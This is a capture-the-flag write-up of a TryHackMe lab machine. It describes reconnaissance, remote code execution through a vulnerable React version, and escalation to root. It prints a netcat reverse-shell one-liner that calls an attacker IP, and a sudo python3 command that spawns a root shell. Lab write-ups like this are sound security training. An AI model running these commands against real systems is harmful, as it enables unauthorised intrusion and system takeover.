TryHackMe Write-up:Corp Website(2026)

Introduction

My name is Osama Hegazey, and this is my first Capture The Flag (CTF) writeup. In this report, I document the process of compromising the
“Corp WebSite” machine on TryHackMe.

The objective of this assessment was to perform enumeration, identify vulnerabilities, exploit the target, escalate privileges, and retrieve both user and root flags while documenting the methodology used throughout the engagement.

Initial Access

The machine initially directed me to a web application running on port 3000.

Reconnaissance & Enumeration

Since the web application did not expose any obvious attack surface, I moved to the reconnaissance phase and performed an Nmap scan to identify additional open ports and running services.

nmap -sV -Pn -sC 10.130.167.8

Nmap scan results

Although the scan revealed several services, nothing immediately appeared vulnerable. I then proceeded with content discovery using tools such as ffuf, Gobuster, and Dirsearch to identify hidden directories and files.

In addition, I manually reviewed the page source and JavaScript files searching for potential attack vectors. During this process, the only interesting finding was the /_next/static/chunks/fd5f064b2a3f9309.js endpoint, which appeared worth investigating further.

Vulnerability Discovery

During manual reconnaissance, I identified that the application was using React Package version (19.3.0-canary-52684925–20251110), which is vulnerable to CVE-2025–55182.

After researching the vulnerability and testing the affected functionality, I confirmed that it could be exploited to achieve Remote Code Execution (RCE) on the target machine.

Exploitation

After confirming the vulnerability, I searched for a public Proof of Concept (PoC) exploit for CVE-2025–55182. During this process, I discovered a Malicios Json Payload

Using this PoC as a reference, I crafted a malicious POST request targeting the vulnerable endpoint.

Get 0xOGH’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

To verify command execution, I executed the id command through the exploit. The server responded with the user daniel, confirming successful Remote Code Execution.

Successful RCE via id Command

Reverse Shell

After confirming command execution, I replaced the payload with a reverse shell command to obtain interactive access to the target system.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my_ip 4444 >/tmp/f

After sending the payload and setting up a Netcat listener on port 4444, I successfully received a reverse shell connection from the target machine.

Reverse Shell Connection

User Flag

With shell access established, I began post-exploitation enumeration and navigated through the system files. During this phase, I located the user.txt file and successfully retrieved the user flag.

user flag

Privilege Escalation

After obtaining the user flag, I moved on to privilege escalation in order to gain root access.

I started with standard enumeration techniques, including checking Linux capabilities using:

getcap -r / 2>/dev/null

and searching for SUID binaries using:

find / -perm 4000 -type f 2>/dev/null

However, neither revealed an immediate privilege escalation vector. I then inspected Sudo privileges using:

sudo -l

which revealed a potentially dangerous misconfiguration.

Sudo Output

From the Sudo output, I identified a binary that could be executed with elevated privileges. I cross-referenced the binary with GTFOBins and found a suitable privilege escalation technique.

Using the following payload:

sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

I successfully escalated privileges to root. After gaining root access, I navigated to /root and retrieved the root.txt flag.

Root Flag

Through this challenge, I gained practical experience in reconnaissance, web exploitation, reverse shells, and Linux privilege escalation techniques.

Thanks for reading! I really appreciate your time and attention. Don’t forget to subscribe for more content and updates!